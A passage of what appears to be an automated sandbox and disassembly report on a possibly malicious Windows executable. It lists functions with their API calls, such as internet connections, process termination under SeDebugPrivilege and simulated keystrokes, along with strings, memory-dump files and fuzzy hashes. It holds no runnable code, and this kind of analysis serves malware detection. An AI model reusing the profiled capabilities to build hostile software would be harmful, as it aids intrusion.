Instruction Fuzzy Hash: 17319171608608AFD7219F659C84AEB7BFCEB49784B64951EF486F2210DB34DD058B60

Uniqueness

Uniqueness Score: -1.00%

Function 00EA989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00EA98BC
LoadStringW.USER32(00000000,?,00E83AAF,?), ref: 00EA98C3

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

MessageBoxW.USER32 ref: 00EA9987

Strings

Line %d (File "%s"):, xrefs: 00EA992D
%s (%d) : ==> %s.: %s %s, xrefs: 00EA98F1
Line %d:, xrefs: 00EA9912
Error: , xrefs: 00EA9955
., xrefs: 00EA996D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: d3ba866c33aec441cb43705e14ce2e790514772ad6e8c0f1ab1bcb98205c5db6
Instruction ID: 2576b4bc77724f5333dc225012532664db0eb139bac5c52413cf6227ebac7a06
Opcode Fuzzy Hash: d3ba866c33aec441cb43705e14ce2e790514772ad6e8c0f1ab1bcb98205c5db6
Instruction Fuzzy Hash: 90216F3290021AABDF15EF90DC0AEEE77B5FF18300F045466F515760A2DA31A628EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EA209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00EA20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00EA20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00EA214D

Strings

largeicons, xrefs: 00EA20E1
smallicons, xrefs: 00EA2115
SHELLDLL_DefView, xrefs: 00EA20CC
list, xrefs: 00EA212F
details, xrefs: 00EA20FB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 1abe62878f475493a2e02de6b2e0fdfc191c28f6f7b68ae1485886910dec67d7
Instruction ID: 36a9a6f159d9abd93355379aa3cdaef99d2f7e2064395906c36239dd5401f912
Opcode Fuzzy Hash: 1abe62878f475493a2e02de6b2e0fdfc191c28f6f7b68ae1485886910dec67d7
Instruction Fuzzy Hash: 2C11EBB66C570779FA012224AC06DE737DCCB1A754B20211AF704B90D1FAA1B8416915

Uniqueness

Uniqueness Score: -1.00%

Function 00E7CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00E7CEB7
_free.LIBCMT ref: 00E7CF22
_free.LIBCMT ref: 00E7CF48
_free.LIBCMT ref: 00E7CF71
_free.LIBCMT ref: 00E7CFA9
_free.LIBCMT ref: 00E7CFDA
_free.LIBCMT ref: 00E7D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00E7D09C
_free.LIBCMT ref: 00E7D0B5

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 2d3d047d4e0bd857cfe947ba9c344789368f48dcec5a3a3c97b96a62ef52c38a
Instruction ID: f3aa07bc893811c36776752ab7f8dbffbb93a8711fb6d340c72557a0443d79de
Opcode Fuzzy Hash: 2d3d047d4e0bd857cfe947ba9c344789368f48dcec5a3a3c97b96a62ef52c38a
Instruction Fuzzy Hash: 36616C71A043046FDB29AFB4AC41AAD7BE9EF05314F24E16EFA4CB7281DB319D418750

Uniqueness

Uniqueness Score: -1.00%

Function 00ED50D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00ED5186
ShowWindow.USER32(?,00000000), ref: 00ED51C7
ShowWindow.USER32(?,00000005), ref: 00ED51CD
SetFocus.USER32 ref: 00ED51D1

Part of subcall function 00ED6FBA: DeleteObject.GDI32(00000000), ref: 00ED6FE6

GetWindowLongW.USER32(?,000000F0), ref: 00ED520D
SetWindowLongW.USER32 ref: 00ED521A
InvalidateRect.USER32(?,00000000,00000001), ref: 00ED524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00ED5287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00ED5296

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 5ee5f043e640fff9802f63288cd71322b959af5090fe02bc63ef3fc48bba9302
Instruction ID: bb6c7b596e60c810477dbd800c52b5380bac80f325720869d2a81d0a01467c1d
Opcode Fuzzy Hash: 5ee5f043e640fff9802f63288cd71322b959af5090fe02bc63ef3fc48bba9302
Instruction Fuzzy Hash: 7F51B032A42A09FEEF209F24CC45BD83BB5EB05365F146013FA24B63E1C371998ADB41

Uniqueness

Uniqueness Score: -1.00%

Function 00E58B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00E96890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00E968A9
LoadImageW.USER32 ref: 00E968B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00E968D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00E968F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00E58874,00000000,00000000,00000000,000000FF,00000000), ref: 00E96901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00E9691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00E58874,00000000,00000000,00000000,000000FF,00000000), ref: 00E9692D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: ebe2255d40106ef29fda36e1941c4b52d65deadb87561bf40e69b4366d6419ba
Instruction ID: fe58c51601bd8a988c1cebdfa159795454045e249f7d7e831ea8421b01a003fc
Opcode Fuzzy Hash: ebe2255d40106ef29fda36e1941c4b52d65deadb87561bf40e69b4366d6419ba
Instruction Fuzzy Hash: BC519774600209EFDF208F25CC51BAA3BB9FB88765F105919F952B72A0DB70E984DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00EBC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00EBC182
GetLastError.KERNEL32 ref: 00EBC195
SetEvent.KERNEL32 ref: 00EBC1A9

Part of subcall function 00EBC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00EBC272
Part of subcall function 00EBC253: GetLastError.KERNEL32 ref: 00EBC322
Part of subcall function 00EBC253: SetEvent.KERNEL32 ref: 00EBC336
Part of subcall function 00EBC253: InternetCloseHandle.WININET(00000000), ref: 00EBC341

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 3959f465c13e919dbf8e7c1975526f0207ae7eadfb636f95af5326793091074b
Instruction ID: e862237edf43b0c3de7e9b45e75631de607145237dcfd871e1dd27a5ea4e5cb0
Opcode Fuzzy Hash: 3959f465c13e919dbf8e7c1975526f0207ae7eadfb636f95af5326793091074b
Instruction Fuzzy Hash: B231AE71205A01EFDB219FB6ED04AA7BBF9FF58344B20541EF956E6620D730E814DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EA25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA3A57
Part of subcall function 00EA3A3D: GetCurrentThreadId.KERNEL32 ref: 00EA3A5E
Part of subcall function 00EA3A3D: AttachThreadInput.USER32(00000000,?,00000000), ref: 00EA3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00EA25BD
PostMessageW.USER32 ref: 00EA25DB
Sleep.KERNEL32(00000000), ref: 00EA25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00EA25E9
PostMessageW.USER32 ref: 00EA2601
Sleep.KERNEL32(00000000), ref: 00EA2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00EA260F
PostMessageW.USER32 ref: 00EA2623
Sleep.KERNEL32(00000000), ref: 00EA2627

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 2bf182d6245bb70e03e6ce09ed133e6146626363897b8b7c47a716743d6f2550
Instruction ID: d26dba73aca0b683351b03458e48d0f21d3b053076758dd1a06d3f1ffeb78840
Opcode Fuzzy Hash: 2bf182d6245bb70e03e6ce09ed133e6146626363897b8b7c47a716743d6f2550
Instruction Fuzzy Hash: E101D830791320BBFB1067699C8AF597F99DB4EB51F201006F314BF0D1C9E16444CA6A

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00EA180C
HeapAlloc.KERNEL32(00000000,?,00EA1449,?,?,00000000), ref: 00EA1813
GetCurrentProcess.KERNEL32 ref: 00EA1828
GetCurrentProcess.KERNEL32 ref: 00EA1830
DuplicateHandle.KERNEL32(00000000,?,00EA1449,?,?,00000000), ref: 00EA1833
GetCurrentProcess.KERNEL32 ref: 00EA1843
GetCurrentProcess.KERNEL32 ref: 00EA184B
DuplicateHandle.KERNEL32(00000000,?,00EA1449,?,?,00000000), ref: 00EA184E
CreateThread.KERNEL32(00000000,00000000,00EA1874,00000000,00000000,00000000), ref: 00EA1868

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 2ec8ea440af999fb76cddd360519d0aa03b6c25d66d9180e63d94c5733206564
Instruction ID: 5a47dc6ecb0c89f957f1d9940f7adec5a6182c998889f851c2630b9f5472a180
Opcode Fuzzy Hash: 2ec8ea440af999fb76cddd360519d0aa03b6c25d66d9180e63d94c5733206564
Instruction Fuzzy Hash: B701C275241315BFE710AF75EC4DF573B6CEB89B51F104451FA05EB192C6749804CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00EAD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00EAD501
Part of subcall function 00EAD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00EAD50F
Part of subcall function 00EAD4DC: CloseHandle.KERNEL32(00000000), ref: 00EAD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00ECA16D
GetLastError.KERNEL32 ref: 00ECA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00ECA1B3
TerminateProcess.KERNEL32 ref: 00ECA268
GetLastError.KERNEL32 ref: 00ECA273
CloseHandle.KERNEL32(00000000), ref: 00ECA2C4

Strings

SeDebugPrivilege, xrefs: 00ECA18F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 38234d12fe0da88c22838343ac9e8352caab7bd98066251dc2faab371a039c30
Instruction ID: 876f00ea9c28dfab003b570519960227b1103a7c5e199e1af2a7d974ad0b3f20
Opcode Fuzzy Hash: 38234d12fe0da88c22838343ac9e8352caab7bd98066251dc2faab371a039c30
Instruction Fuzzy Hash: E261CE702092529FD724DF14D594F16BBE1AF4430CF18949CE466ABBA3C776EC4ACB82

Uniqueness

Uniqueness Score: -1.00%

Function 00ED3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00ED3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00ED393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00ED3954
_wcslen.LIBCMT ref: 00ED3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00ED39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00ED39F4

Strings

SysListView32, xrefs: 00ED38F7

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: a5b90bddc5862a55a98c2f60c341889b455a1e93a94775dccbce30ad43ae9b4b
Instruction ID: cbda60ec0352c8dd25d9804208f83e348b2564014b7e3bd19de0612e0f19ebc8
Opcode Fuzzy Hash: a5b90bddc5862a55a98c2f60c341889b455a1e93a94775dccbce30ad43ae9b4b
Instruction Fuzzy Hash: 4D41FC31A00209ABEB219F64CC49BEA7BA9EF08354F101127F958F72C1D7B0DA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E62D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E62D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00E62D53
_ValidateLocalCookies.LIBCMT ref: 00E62DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00E62E0C
_ValidateLocalCookies.LIBCMT ref: 00E62E61

Strings

csm, xrefs: 00E62DF6
&H, xrefs: 00E62DFE, 00E62E07, 00E62E18

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &H$csm
API String ID: 1170836740-1242228090
Opcode ID: 66d71331d893b4d8ee2ba6df2acec8571e79f0ea7eb553902d293bc957e5a528
Instruction ID: 1ac4f54686859ad85031b06dc361493fa17f75f03032c07ef95acec7e4abd6b5
Opcode Fuzzy Hash: 66d71331d893b4d8ee2ba6df2acec8571e79f0ea7eb553902d293bc957e5a528
Instruction Fuzzy Hash: D941F634A406099BCF10DF68E844ADEBBF4BF443A8F149159E914BB392D731DA05CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00EAC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00EAC913

Strings

blank, xrefs: 00EAC895
warning, xrefs: 00EAC8FC
question, xrefs: 00EAC8CC
stop, xrefs: 00EAC8E4
info, xrefs: 00EAC8B4

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 094124fdfe9f04892ff9cba257cda3e7bb0aa426aa9f818343b378e59b5fb3ca
Instruction ID: 4ecd18623a356dad3e42bb1eddddadae5736f8ae779830baa4d2839d826d3ead
Opcode Fuzzy Hash: 094124fdfe9f04892ff9cba257cda3e7bb0aa426aa9f818343b378e59b5fb3ca
Instruction Fuzzy Hash: 70112B35689307BEE7055B54AC82CEB67DCDF5A358B30102FF504FA2C2EBA4BD006265

Uniqueness

Uniqueness Score: -1.00%

Function 00EAED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00EAED2A
_wcslen.LIBCMT ref: 00EAED3B
_wcslen.LIBCMT ref: 00EAED79
_wcslen.LIBCMT ref: 00EAEDAF
_wcslen.LIBCMT ref: 00EAEDDF
_wcslen.LIBCMT ref: 00EAEDEF
_wcslen.LIBCMT ref: 00EAEE2B
_wcslen.LIBCMT ref: 00EAEE5A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 1ee220d49d26e52248a42dcb4c3b732b82efe94fddd8a11d0054d4f20bf9d5f1
Instruction ID: 9643025c03bf2f63c07f79b96ff80355545f462ffe9133af136c9f9b9d56b249
Opcode Fuzzy Hash: 1ee220d49d26e52248a42dcb4c3b732b82efe94fddd8a11d0054d4f20bf9d5f1
Instruction Fuzzy Hash: F041BE65C5021876DB11EBB49C8A9CFB3ECAF46340F50A462E518F3262FB34E245C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 00E5F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF), ref: 00E5F953
ShowWindow.USER32(FFFFFFFF,00000006), ref: 00E9F3D1
ShowWindow.USER32(FFFFFFFF,000000FF), ref: 00E9F454

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 9c889b5849421cc5a78b8accd82a1dda02d3225aa3e1c93419c8650b14f49bb6
Instruction ID: 17a4e69865342fde6c06e6f83e885f2161124e0fc2c15a93f66fa64921cd8021
Opcode Fuzzy Hash: 9c889b5849421cc5a78b8accd82a1dda02d3225aa3e1c93419c8650b14f49bb6
Instruction Fuzzy Hash: E6414031504A80BECB348B79D9887AA7BD1BBD635AF14783DE857B2560C671D488C711

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00ED2D1B
GetDC.USER32(00000000), ref: 00ED2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00ED2D2E
ReleaseDC.USER32(00000000,00000000), ref: 00ED2D3A
CreateFontW.GDI32 ref: 00ED2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00ED2D87
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00ED2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00ED2DE1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 9ac7d97e943a787bd0c943834d328580d70de4825014d392990d932fa325d548
Instruction ID: 6bcfc957c7d86159057803afc26c3bd19136da4c2ebb8367243c2336d6e2f487
Opcode Fuzzy Hash: 9ac7d97e943a787bd0c943834d328580d70de4825014d392990d932fa325d548
Instruction Fuzzy Hash: BC31AE72202214BFEB118F51DC8AFEB3FADEF19755F144056FE08AA291C6759C41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EA5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00EA5637
_memcmp.LIBVCRUNTIME ref: 00EA5659
_memcmp.LIBVCRUNTIME ref: 00EA5671
_memcmp.LIBVCRUNTIME ref: 00EA5684
_memcmp.LIBVCRUNTIME ref: 00EA569E
_memcmp.LIBVCRUNTIME ref: 00EA56B1
_memcmp.LIBVCRUNTIME ref: 00EA56C9
_memcmp.LIBVCRUNTIME ref: 00EA56E4

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

